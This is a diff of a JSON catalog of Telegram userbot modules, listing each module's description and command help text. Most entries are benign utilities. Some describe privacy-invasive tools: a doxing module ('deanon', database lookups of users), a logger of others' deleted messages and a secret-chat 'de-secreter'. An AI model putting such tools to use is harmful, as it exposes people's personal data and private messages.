- { - "spause": { - "ru_doc": null, - "en_doc": null, - "doc": "🤚 Pause" - } - }, - { - "splay": { - "ru_doc": null, - "en_doc": null, - "doc": "▶️ Play" - } - }, - { - "sfind": { - "ru_doc": null, - "en_doc": null, - "doc": "Find info about track" - } - }, - { - "sq": { - "ru_doc": null, - "en_doc": null, - "doc": "🔎" - } - }, - { - "sback": { - "ru_doc": null, - "en_doc": null, - "doc": "⏮" - } - }, - { - "sbegin": { - "ru_doc": null, - "en_doc": null, - "doc": "⏪" - } - }, - { - "slike": { - "ru_doc": null, - "en_doc": null, - "doc": "❤️" - } - }, - { - "sauth": { - "ru_doc": null, - "en_doc": null, - "doc": "First stage of auth" - } - }, - { - "scode": { - "ru_doc": null, - "en_doc": null, - "doc": "Second stage of auth" - } - }, - { - "unauth": { - "ru_doc": null, - "en_doc": null, - "doc": "Deauth from Spotify API" - } - }, - { - "sbio": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle bio playback streaming" - } - }, - { - "stokrefresh": { - "ru_doc": null, - "en_doc": null, - "doc": "Force refresh token" - } - }, - { - "snow": { - "ru_doc": null, - "en_doc": null, - "doc": "Show current playback badge" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/truth_or_dare.py": { - "name": "TruthOrDareMod", - "description": "Truth or dare? Play your favorite game from inside the Telegram (en/ru)", - "meta": { - "pic": "https://static.dan.tatar/truth_or_date_icon.py", - "banner": "https://mods.hikariatama.ru/badges/truth_or_dare.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "todcmd": "Get truth or dare" - }, - { - "todicmd": "Start new truth or dare game" - }, - { - "todlangcmd": "[en/ru] - Change language" - } - ], - "new_commands": [ - { - "tod": { - "ru_doc": null, - "en_doc": null, - "doc": "Get truth or dare" - } - }, - { - "todi": { - "ru_doc": null, - "en_doc": null, - "doc": "Start new truth or dare game" - } - }, - { - "todlang": { - "ru_doc": null, - "en_doc": null, - "doc": "[en/ru] - Change language" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/fuck_tags.py": { - "name": "FuckTagsMod", - "description": "Auto-read tags and messages in selected chats", - "meta": { - "pic": "https://img.icons8.com/emoji/256/000000/middle-finger-light-skin-tone.png", - "banner": "https://mods.hikariatama.ru/badges/fuck_tags.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "fucktagscmd": "[chat] - Toggle notags" - }, - { - "fuckallcmd": "[chat] - Toggle autoread" - }, - { - "fuckchatscmd": "Показать активные авточтения в чатах" - } - ], - "new_commands": [ - { - "fucktags": { - "ru_doc": null, - "en_doc": null, - "doc": "[chat] - Toggle notags" - } - }, - { - "fuckall": { - "ru_doc": null, - "en_doc": null, - "doc": "[chat] - Toggle autoread" - } - }, - { - "fuckchats": { - "ru_doc": null, - "en_doc": null, - "doc": "Показать активные авточтения в чатах" - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "hikariatama/ftg/oxford.py": { - "name": "OxfordMod", - "description": "Quickly access word definitions in Oxford Learners dictionary", - "meta": { - "pic": "https://static.dan.tatar/oxford_icon.png", - "banner": "https://mods.hikariatama.ru/badges/oxford.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "oxford": "<term> - Search word in Oxford Learner's Dictionary <слово> - Поиск слова в образовательном Оксфордском словаре" - } - ], - "new_commands": [ - { - "oxford": { - "ru_doc": "<слово> - Поиск слова в образовательном Оксфордском словаре", - "en_doc": null, - "doc": "<term> - Search word in Oxford Learner's Dictionary" - } - } - ], - "category": [ - "Chat", - "Customization" - ] - }, - "hikariatama/ftg/nometa.py": { - "name": "NoMetaMod", - "description": "Warns people about Meta messages", - "meta": { - "pic": "https://static.dan.tatar/nometa_icon.png", - "banner": "https://mods.hikariatama.ru/badges/nometa.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "nometacmd": "Show message about NoMeta Показать сообщение с предупреждением о мете" - } - ], - "new_commands": [ - { - "nometa": { - "ru_doc": "Показать сообщение с предупреждением о мете", - "en_doc": null, - "doc": "Show message about NoMeta" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "hikariatama/ftg/bincheck.py": { - "name": "BinCheckerMod", - "description": "Show bin info about card", - "meta": { - "pic": "https://static.dan.tatar/bincheck_icon.png", - "banner": "https://mods.hikariatama.ru/badges/bincheck.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "bincheckcmd": "[bin] - Get card Bin info" - } - ], - "new_commands": [ - { - "bincheck": { - "ru_doc": null, - "en_doc": null, - "doc": "[bin] - Get card Bin info" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "hikariatama/ftg/backuper.py": { - "name": "BackuperMod", - "description": "Create the backup of all modules or the whole database", - "meta": { - "pic": "https://static.dan.tatar/backuper_icon.png", - "banner": "https://mods.hikariatama.ru/badges/backuper.jpg", - "developer": "@hikarimods" - }, - "commands": [ - { - "backupdbcmd": "Create database backup [will be sent in pm]" - }, - { - "restoredbcmd": "Restore database from file" - }, - { - "backupmodscmd": "Create backup of mods" - }, - { - "restoremodscmd": "<reply to file> - Restore mods from backup" - } - ], - "new_commands": [ - { - "backupdb": { - "ru_doc": null, - "en_doc": null, - "doc": "Create database backup [will be sent in pm]" - } - }, - { - "restoredb": { - "ru_doc": null, - "en_doc": null, - "doc": "Restore database from file" - } - }, - { - "backupmods": { - "ru_doc": null, - "en_doc": null, - "doc": "Create backup of mods" - } - }, - { - "restoremods": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply to file> - Restore mods from backup" + "doc": "<query> - Send adult content gallery (be aware using in public chats)" } } ], @@ -15622,6 +38191,75 @@ "Tools" ] }, + "hikariatama/ftg/catgirl.py": { + "name": "CatgirlMod", + "description": "Sends cute anime girl pictures", + "meta": { + "pic": "https://static.dan.tatar/catgirl_icon.png", + "banner": "https://mods.hikariatama.ru/badges/catgirl.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "catgirlcmd": "[nsfw] - Send catgirl picture [nsfw] - Показать кошкодевочку" + } + ], + "new_commands": [ + { + "catgirl": { + "ru_doc": "[nsfw] - Показать кошкодевочку", + "en_doc": null, + "doc": "[nsfw] - Send catgirl picture" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "hikariatama/ftg/bigtext.py": { + "name": "BigTextMod", + "description": "Creates big ASCII Text", + "meta": { + "pic": "https://img.icons8.com/external-soft-fill-juicy-fish/480/000000/external-big-cute-monsters-soft-fill-soft-fill-juicy-fish-4.png", + "banner": "https://mods.hikariatama.ru/badges/bigtext.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "btcmd": "[chars in line] - Create big text" + } + ], + "new_commands": [ + { + "bt": { + "ru_doc": null, + "en_doc": null, + "doc": "[chars in line] - Create big text" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/feedback.py": { + "name": "FeedbackMod", + "description": "Simple feedback bot for Hikka", + "meta": { + "pic": "https://static.dan.tatar/feedback_icon.png", + "banner": "https://mods.hikariatama.ru/badges/feedback.jpg", + "developer": "@hikarimods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, "hikariatama/ftg/nekospy_beta.py": { "name": "NekoSpyBeta", "description": "Sends you deleted and / or edited messages from selected users", @@ -15739,25 +38377,25 @@ "Tools" ] }, - "hikariatama/ftg/userinfo.py": { - "name": "InfoMod", - "description": "Retrieve information about bot/user/chat", + "hikariatama/ftg/dyslexia.py": { + "name": "DyslexiaMod", + "description": "Shows the text as how you would see it if you have dyslexia", "meta": { - "pic": "https://static.dan.tatar/userinfo_icon.png", - "banner": "https://mods.hikariatama.ru/badges/userinfo.jpg", + "pic": "https://img.icons8.com/fluency/240/000000/apple-music-lyrics.png", + "banner": "https://mods.hikariatama.ru/badges/dyslexia.jpg", "developer": "@hikarimods" }, "commands": [ { - "userinfocmd": "Get object infomation" + "dyslexcmd": "<text | reply> - Show, how people with dyslexia would have seen this text" } ], "new_commands": [ { - "userinfo": { + "dyslex": { "ru_doc": null, "en_doc": null, - "doc": "Get object infomation" + "doc": "<text | reply> - Show, how people with dyslexia would have seen this text" } } ], @@ -15766,25 +38404,46 @@ "Chat" ] }, - "hikariatama/ftg/silent_tags.py": { - "name": "SilentTagsMod", - "description": "Mutes tags and logs them", + "hikariatama/ftg/pmbl.py": { + "name": "PMBLMod", + "description": "Bans and reports incoming messages from unknown users", "meta": { - "pic": "https://static.dan.tatar/silent_tags_icon.png", - "banner": "https://mods.hikariatama.ru/badges/silent_tags.jpg", + "pic": "https://img.icons8.com/external-dreamcreateicons-flat-dreamcreateicons/512/000000/external-death-halloween-dreamcreateicons-flat-dreamcreateicons.png", + "banner": "https://mods.hikariatama.ru/badges/pmbl.jpg", + "title": "PM->BL", "developer": "@hikarimods" }, "commands": [ { - "stagscmd": "<on\\off> - Toggle notifications about tags" + "pmblcmd": "Toggle PMBL" + }, + { + "pmbanlastcmd": "<number> - Ban and delete dialogs with n most new users" + }, + { + "allowpmcmd": "<reply or user> - Allow user to pm you" } ], "new_commands": [ { - "stags": { + "pmbl": { "ru_doc": null, "en_doc": null, - "doc": "<on\\off> - Toggle notifications about tags" + "doc": "Toggle PMBL" + } + }, + { + "pmbanlast": { + "ru_doc": null, + "en_doc": null, + "doc": "<number> - Ban and delete dialogs with n most new users" + } + }, + { + "allowpm": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply or user> - Allow user to pm you" } } ], @@ -15793,25 +38452,89 @@ "Chat" ] }, - "hikariatama/ftg/img2pdf.py": { - "name": "Img2PdfMod", - "description": "Packs images to pdf", + "hikariatama/ftg/secret_chat.py": { + "name": "SecretChatMod", + "description": "De-secrets secret chats", "meta": { - "pic": "https://img.icons8.com/stickers/500/000000/pdf.png", - "banner": "https://mods.hikariatama.ru/badges/img2pdf.jpg", + "pic": "https://static.dan.tatar/secret_chat_icon.png", + "banner": "https://mods.hikariatama.ru/badges/secret_chat.jpg", "developer": "@hikarimods" }, "commands": [ { - "img2pdfcmd": "<filename | optional> - Pack images into pdf" + "desecretcmd": "Toggle secret chat handler" } ], "new_commands": [ { - "img2pdf": { + "desecret": { "ru_doc": null, "en_doc": null, - "doc": "<filename | optional> - Pack images into pdf" + "doc": "Toggle secret chat handler" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/vtt.py": { + "name": "VoicyMod", + "description": "Recognize voice messages, audios, videos and round messages", + "meta": { + "pic": "https://static.dan.tatar/vtt_icon.png", + "banner": "https://mods.hikariatama.ru/badges/vtt.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "voicycmd": "Recognize voice message" + }, + { + "autovoicecmd": "Toggle automatic recognition in current chat" + } + ], + "new_commands": [ + { + "voicy": { + "ru_doc": null, + "en_doc": null, + "doc": "Recognize voice message" + } + }, + { + "autovoice": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle automatic recognition in current chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "hikariatama/ftg/insult.py": { + "name": "PoliteInsultMod", + "description": "If you need to insult but to be intelligent", + "meta": { + "pic": "https://img.icons8.com/color/480/000000/angry--v1.png", + "banner": "https://mods.hikariatama.ru/badges/insult.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "insultocmd": "Use when angry" + } + ], + "new_commands": [ + { + "insulto": { + "ru_doc": null, + "en_doc": null, + "doc": "Use when angry" } } ], @@ -15820,45 +38543,61 @@ "Chat" ] }, - "hikariatama/ftg/terminal.py": { - "name": "TerminalMod", - "description": "Runs commands", + "hikariatama/ftg/leomatch.py": { + "name": "LeomatchMod", + "description": "Simplifies the interaction with @leomatchbot - Rejects slag, allows you to create filters by age, cities, blacklisted words. Check .config for more info", "meta": { - "pic": "https://static.dan.tatar/terminal_icon.png", - "banner": "https://mods.hikariatama.ru/badges/terminal.jpg", - "developer": "@bsolute" + "pic": "https://static.dan.tatar/leomatch_icon.png", + "banner": "https://mods.hikariatama.ru/badges/leomatch.jpg", + "desc": "Simplifies the interaction with @leomatchbot - Rejects slag, allows you to create filters by age, cities, blacklisted words.", + "developer": "@hikarimods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/tgstatus.py": { + "name": "TgStatus", + "description": "Rotates Telegram status for Telegram Premium users only", + "meta": { + "pic": "https://img.icons8.com/cotton/344/like--v2.png", + "banner": "https://mods.hikariatama.ru/badges/tgstatus.jpg", + "developer": "@hikarimods" }, "commands": [ { - "terminalcmd": "<command> - Execute bash command <команда> - Запустить команду в системе" + "tgstatus": "<custom emojis for statuses> <time to rotate in minutes> - Start status rotation with interval in minutes <кастомные эмодзи для статуса> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах" }, { - "aptcmd": "Shorthand for '.terminal apt' Сокращение для '.terminal apt'" + "tgstatuspack": "<custom emojis for pack search> <time to rotate in minutes> - Start status rotation with interval in minutes using full pack of specified emojis <кастомные эмодзи для получения паков> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах, используя полный пак указанных эмодзи" }, { - "terminatecmd": "[-f to force kill] - Use in reply to send SIGTERM to a process" + "untgstatus": "Stop status rotation Остановить статус" } ], "new_commands": [ { - "terminal": { - "ru_doc": "<команда> - Запустить команду в системе", + "tgstatus": { + "ru_doc": "<кастомные эмодзи для статуса> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах", "en_doc": null, - "doc": "<command> - Execute bash command" + "doc": "<custom emojis for statuses> <time to rotate in minutes> - Start status rotation with interval in minutes" } }, { - "apt": { - "ru_doc": "Сокращение для '.terminal apt'", + "tgstatuspack": { + "ru_doc": "<кастомные эмодзи для получения паков> <интервал в минутах> - Запустить ротацию статуса с интервалом в минутах, используя полный пак указанных эмодзи", "en_doc": null, - "doc": "Shorthand for '.terminal apt'" + "doc": "<custom emojis for pack search> <time to rotate in minutes> - Start status rotation with interval in minutes using full pack of specified emojis" } }, { - "terminate": { - "ru_doc": null, + "untgstatus": { + "ru_doc": "Остановить статус", "en_doc": null, - "doc": "[-f to force kill] - Use in reply to send SIGTERM to a process" + "doc": "Stop status rotation" } } ], @@ -15867,24 +38606,67 @@ "Chat" ] }, - "AlpacaGang/ftg-modules/cuttly.py": { - "name": "CuttlyMod", - "description": "URL shortener module", + "hikariatama/ftg/xvideos.py": { + "name": "XVideosMod", + "description": "Disclaimer: For adult auditory only (18+)", "meta": { - "pic": null, - "banner": null + "pic": "https://img.icons8.com/external-flat-vinzence-studio/344/external-erotic-erotic-stuff-flat-vinzence-studio-11.png", + "banner": "https://mods.hikariatama.ru/badges/xvideos.jpg", + "developer": "@hikarimods" }, "commands": [ { - "shortcmd": "usage: .short <link_to_short> [preferred_alias]" + "xvidcmd": "<query> - search for videos" } ], "new_commands": [ { - "short": { + "xvid": { "ru_doc": null, "en_doc": null, - "doc": "usage: .short <link_to_short> [preferred_alias]" + "doc": "<query> - search for videos" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "hikariatama/ftg/forbid_joins.py": { + "name": "ForbidJoinMod", + "description": "Tired of trojans in modules, which join channels? Load this module!", + "meta": { + "pic": "https://static.dan.tatar/forbid_joins_icon.png", + "banner": "https://mods.hikariatama.ru/badges/forbid_joins.jpg", + "developer": "@hikarimods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "hikariatama/ftg/wolfram.py": { + "name": "WolframAlphaMod", + "description": "Solves hard math questions", + "meta": { + "pic": "https://static.dan.tatar/wolfram_icon.png", + "banner": "https://mods.hikariatama.ru/badges/wolfram.jpg", + "developer": "@hikarimods" + }, + "commands": [ + { + "wolframcmd": "Solve mathematic problem" + } + ], + "new_commands": [ + { + "wolfram": { + "ru_doc": null, + "en_doc": null, + "doc": "Solve mathematic problem" } } ], @@ -15893,132 +38675,35 @@ "Tools" ] }, - "AlpacaGang/ftg-modules/range.py": { - "name": "RangeMod", - "description": "Provides numbers as in Python range with delay", + "coddrago/modules/lastfm.py": { + "name": "lastfmmod", + "description": "Module for music from different services", "meta": { - "pic": null, - "banner": null + "pic": "https://envs.sh/Hob.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "rangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + "nowplay": "| send playing track" }, { - "drangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" - }, - { - "countcmd": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" - }, - { - "rcountcmd": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" + "tutorl": "| tutorial" } ], "new_commands": [ { - "range": { + "nowplay": { "ru_doc": null, "en_doc": null, - "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + "doc": "| send playing track" } }, { - "drange": { + "tutorl": { "ru_doc": null, "en_doc": null, - "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" - } - }, - { - "count": { - "ru_doc": null, - "en_doc": null, - "doc": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" - } - }, - { - "rcount": { - "ru_doc": null, - "en_doc": null, - "doc": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AlpacaGang/ftg-modules/spf.py": { - "name": "SPFMod", - "description": "Этот модуль геи личку ваших друзей", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "spfcmd": "Чтобы использовать пишем так: .spf @ник_вашего_друга" - } - ], - "new_commands": [ - { - "spf": { - "ru_doc": null, - "en_doc": null, - "doc": "Чтобы использовать пишем так: .spf @ник_вашего_друга" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "AlpacaGang/ftg-modules/quotes.py": { - "name": "QuotesMod", - "description": "Quote a message.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "quotecmd": "Quote a message.\nUsage: .quote [template] [file/force_file]\nOr: .quote np [template] [file/force_file]\nIf template is missing, possible templates are fetched.\nIf no args provided, default template will be used, quote sent as sticker" - } - ], - "new_commands": [ - { - "quote": { - "ru_doc": null, - "en_doc": null, - "doc": "Quote a message.\nUsage: .quote [template] [file/force_file]\nOr: .quote np [template] [file/force_file]\nIf template is missing, possible templates are fetched.\nIf no args provided, default template will be used, quote sent as sticker" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AlpacaGang/ftg-modules/contact.py": { - "name": "CONTACTMod", - "description": "Это модуль для игры в \"контакт\"", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "contactcmd": "Эта команда пишет 10 сообщений для контакта" - } - ], - "new_commands": [ - { - "contact": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда пишет 10 сообщений для контакта" + "doc": "| tutorial" } } ], @@ -16027,34 +38712,139 @@ "Chat" ] }, - "AlpacaGang/ftg-modules/repl.py": { - "name": "REPLMod", - "description": "REPLIED for selected users", + "coddrago/modules/randomizer.py": { + "name": "Randomizer", + "description": "Random - it's life!", "meta": { - "pic": null, - "banner": null + "pic": "https://envs.sh/HJy.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "addtxcmd": "Select users\nFor example: .addtx used_id \"text when reply (Default: '.'\"" + "chancecmd": "[args] | A chance for your success!" }, { - "clrtxcmd": "Unselect user\nFor example: `.clrtx used_id` for one user or `.clrtx` for all users" + "randomcmd": "!cfg | random number" + }, + { + "shipcmd": "| Ship from iris?" + }, + { + "randusercmd": "| Random user!" } ], "new_commands": [ { - "addtx": { + "chance": { "ru_doc": null, "en_doc": null, - "doc": "Select users\nFor example: .addtx used_id \"text when reply (Default: '.'\"" + "doc": "[args] | A chance for your success!" } }, { - "clrtx": { + "random": { "ru_doc": null, "en_doc": null, - "doc": "Unselect user\nFor example: `.clrtx used_id` for one user or `.clrtx` for all users" + "doc": "!cfg | random number" + } + }, + { + "ship": { + "ru_doc": null, + "en_doc": null, + "doc": "| Ship from iris?" + } + }, + { + "randuser": { + "ru_doc": null, + "en_doc": null, + "doc": "| Random user!" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "coddrago/modules/autoclicker.py": { + "name": "AutoClickerMod", + "description": "Autoclicker for inline buttons.", + "meta": { + "pic": "https://envs.sh/HJv.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m, @unneyon_hmods" + }, + "commands": [ + { + "clickoncmd": "[interval button_line button] | Enable Autoclicker" + }, + { + "clickoffcmd": "| disable autoclicker." + } + ], + "new_commands": [ + { + "clickon": { + "ru_doc": null, + "en_doc": null, + "doc": "[interval button_line button] | Enable Autoclicker" + } + }, + { + "clickoff": { + "ru_doc": null, + "en_doc": null, + "doc": "| disable autoclicker." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "coddrago/modules/DoxTool.py": { + "name": "dox", + "description": "Maybe... doxing tool?", + "meta": { + "pic": "https://envs.sh/HJM.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "gbcmd": "search in databases eye of god!" + }, + { + "deanoncmd": "Full information of user in global database" + }, + { + "dinfocmd": "info of module" + } + ], + "new_commands": [ + { + "gb": { + "ru_doc": null, + "en_doc": null, + "doc": "search in databases eye of god!" + } + }, + { + "deanon": { + "ru_doc": null, + "en_doc": null, + "doc": "Full information of user in global database" + } + }, + { + "dinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "info of module" } } ], @@ -16063,308 +38853,35 @@ "Chat" ] }, - "AlpacaGang/ftg-modules/sirius.py": { - "name": "SiriusMod", - "description": "Ищем поступивших на ИЮ2020", + "coddrago/modules/pmban.py": { + "name": "PMBan", + "description": "Ban in pm for time", "meta": { - "pic": null, - "banner": null + "pic": "https://envs.sh/Hoh.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m, @exttasy1" }, "commands": [ { - "findcmd": "" + "pmban": "| ban in PM for time" + }, + { + "pmunban": "| unban in PM" } ], "new_commands": [ { - "find": { + "pmban": { "ru_doc": null, "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "AlpacaGang/ftg-modules/DND.py": { - "name": "DoNotDisturbMod", - "description": "DND (Do Not Disturb) :\n-> Prevents people sending you unsolicited private messages.\n-> Prevents disturbing when you are unavailable.\n\nCommands :\n ", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "afkbackcmd": "Remove the AFK status.\n " - }, - { - "afkgocmd": ".afkgo : Enable AFK status.\n.afkgo [message] : Enable AFK status and add a reason.\n " - }, - { - "afknogroupcmd": ".afknogroup : Disable/Enable AFK status message for group chats.\n.afknogroup off : Enable AFK status message for group chats.\n.afknogroup on : Disable AFK status message for group chats.\n " - }, - { - "afknopmcmd": ".afknopm : Disable/Enable AFK status message for PMs.\n.afknopm off : Enable AFK status message for PMs.\n.afknopm on : Disable AFK status message for PMs.\n " - }, - { - "afknotifcmd": ".afknotif : Disable/Enable the notifications during AFK time.\n.afknotif off : Disable the notifications during AFK time.\n.afknotif on : Enable the notifications during AFK time.\n " - }, - { - "afkratecmd": ".afkrate : Disable/Enable AFK rate limit.\n.afkrate off : Disable AFK rate limit.\n.afkrate on : Enable AFK rate limit. One AFK status message max will be sent per chat.\n " - }, - { - "allowcmd": "Allow this user to PM.\n " - }, - { - "blockcmd": "Block this user to PM without being warned.\n " - }, - { - "denycmd": "Deny this user to PM without being warned.\n " - }, - { - "pmcmd": ".pm : Disable/Enable automatic answer for denied PMs.\n.pm off : Disable automatic answer for denied PMs.\n.pm on : Enable automatic answer for denied PMs.\n " - }, - { - "pmlimitcmd": ".pmlimit : Get current max number of PMs before automatically block not allowed user.\n.pmlimit off : Disable automatic user blocking.\n.pmlimit on : Enable automatic user blocking.\n.pmlimit reset : Reset max number of PMs before automatically block not allowed user.\n.pmlimit [number] : Modify max number of PMs before automatically block not allowed user.\n " - }, - { - "pmnotifcmd": ".pmnotif : Disable/Enable the notifications from denied PMs.\n.pmnotif off : Disable the notifications from denied PMs.\n.pmnotif on : Enable the notifications from denied PMs.\n " - }, - { - "reportcmd": "Report the user to spam. Use only in PM.\n " - }, - { - "unblockcmd": "Unblock this user to PM." - } - ], - "new_commands": [ - { - "afkback": { - "ru_doc": null, - "en_doc": null, - "doc": "Remove the AFK status.\n " + "doc": "| ban in PM for time" } }, { - "afkgo": { + "pmunban": { "ru_doc": null, "en_doc": null, - "doc": ".afkgo : Enable AFK status.\n.afkgo [message] : Enable AFK status and add a reason.\n " - } - }, - { - "afknogroup": { - "ru_doc": null, - "en_doc": null, - "doc": ".afknogroup : Disable/Enable AFK status message for group chats.\n.afknogroup off : Enable AFK status message for group chats.\n.afknogroup on : Disable AFK status message for group chats.\n " - } - }, - { - "afknopm": { - "ru_doc": null, - "en_doc": null, - "doc": ".afknopm : Disable/Enable AFK status message for PMs.\n.afknopm off : Enable AFK status message for PMs.\n.afknopm on : Disable AFK status message for PMs.\n " - } - }, - { - "afknotif": { - "ru_doc": null, - "en_doc": null, - "doc": ".afknotif : Disable/Enable the notifications during AFK time.\n.afknotif off : Disable the notifications during AFK time.\n.afknotif on : Enable the notifications during AFK time.\n " - } - }, - { - "afkrate": { - "ru_doc": null, - "en_doc": null, - "doc": ".afkrate : Disable/Enable AFK rate limit.\n.afkrate off : Disable AFK rate limit.\n.afkrate on : Enable AFK rate limit. One AFK status message max will be sent per chat.\n " - } - }, - { - "allow": { - "ru_doc": null, - "en_doc": null, - "doc": "Allow this user to PM.\n " - } - }, - { - "block": { - "ru_doc": null, - "en_doc": null, - "doc": "Block this user to PM without being warned.\n " - } - }, - { - "deny": { - "ru_doc": null, - "en_doc": null, - "doc": "Deny this user to PM without being warned.\n " - } - }, - { - "pm": { - "ru_doc": null, - "en_doc": null, - "doc": ".pm : Disable/Enable automatic answer for denied PMs.\n.pm off : Disable automatic answer for denied PMs.\n.pm on : Enable automatic answer for denied PMs.\n " - } - }, - { - "pmlimit": { - "ru_doc": null, - "en_doc": null, - "doc": ".pmlimit : Get current max number of PMs before automatically block not allowed user.\n.pmlimit off : Disable automatic user blocking.\n.pmlimit on : Enable automatic user blocking.\n.pmlimit reset : Reset max number of PMs before automatically block not allowed user.\n.pmlimit [number] : Modify max number of PMs before automatically block not allowed user.\n " - } - }, - { - "pmnotif": { - "ru_doc": null, - "en_doc": null, - "doc": ".pmnotif : Disable/Enable the notifications from denied PMs.\n.pmnotif off : Disable the notifications from denied PMs.\n.pmnotif on : Enable the notifications from denied PMs.\n " - } - }, - { - "report": { - "ru_doc": null, - "en_doc": null, - "doc": "Report the user to spam. Use only in PM.\n " - } - }, - { - "unblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Unblock this user to PM." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AlpacaGang/ftg-modules/Tag.py": { - "name": "TagMod", - "description": "Tag :\n-> Tag all admins (fast way to report).\n-> Tag all bots (why not ?).\n-> Tag all members (why not ?).\n\nCommands :\n ", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "admincmd": ".admin : Tag all admins (excepted bots).\n.admin [message] : Tag all admins (excepted bots) with message before tags.\n " - }, - { - "allcmd": ".all : Tag all members.\n.all [message] : Tag all members with message before tags.\n " - }, - { - "botcmd": ".bot : Tag all bots.\n.bot [message] : Tag all bots with message before tags.\n " - } - ], - "new_commands": [ - { - "admin": { - "ru_doc": null, - "en_doc": null, - "doc": ".admin : Tag all admins (excepted bots).\n.admin [message] : Tag all admins (excepted bots) with message before tags.\n " - } - }, - { - "all": { - "ru_doc": null, - "en_doc": null, - "doc": ".all : Tag all members.\n.all [message] : Tag all members with message before tags.\n " - } - }, - { - "bot": { - "ru_doc": null, - "en_doc": null, - "doc": ".bot : Tag all bots.\n.bot [message] : Tag all bots with message before tags.\n " - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AlpacaGang/ftg-modules/inactive.py": { - "name": "InactiveDetectorMod", - "description": "Detects inactive users", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "inactivecmd": ".inactive <N>" - }, - { - "recountcmd": "" - } - ], - "new_commands": [ - { - "inactive": { - "ru_doc": null, - "en_doc": null, - "doc": ".inactive <N>" - } - }, - { - "recount": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "AlpacaGang/ftg-modules/wait.py": { - "name": "WAITMod", - "description": "Этот модуль поможет вам удалить сообщение через n секунд/минут", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "wait5cmd": "Эта команда удаляет сообхение черезе 5 секунд" - }, - { - "waitcmd": "Эта команда удаляет сообхение через n секунд, \nписать нужно так: .wait <n>, если хотите секунды\nи так .wait <n>m, если хотите ждать в минутах\n(например .wait 5m)" - }, - { - "tagcmd": "Эта команда для троллинга друзей. \nЕй вы можете тегнуть друга, а сообщение само удалится!" - } - ], - "new_commands": [ - { - "wait5": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда удаляет сообхение черезе 5 секунд" - } - }, - { - "wait": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда удаляет сообхение через n секунд, \nписать нужно так: .wait <n>, если хотите секунды\nи так .wait <n>m, если хотите ждать в минутах\n(например .wait 5m)" - } - }, - { - "tag": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда для троллинга друзей. \nЕй вы можете тегнуть друга, а сообщение само удалится!" + "doc": "| unban in PM" } } ], 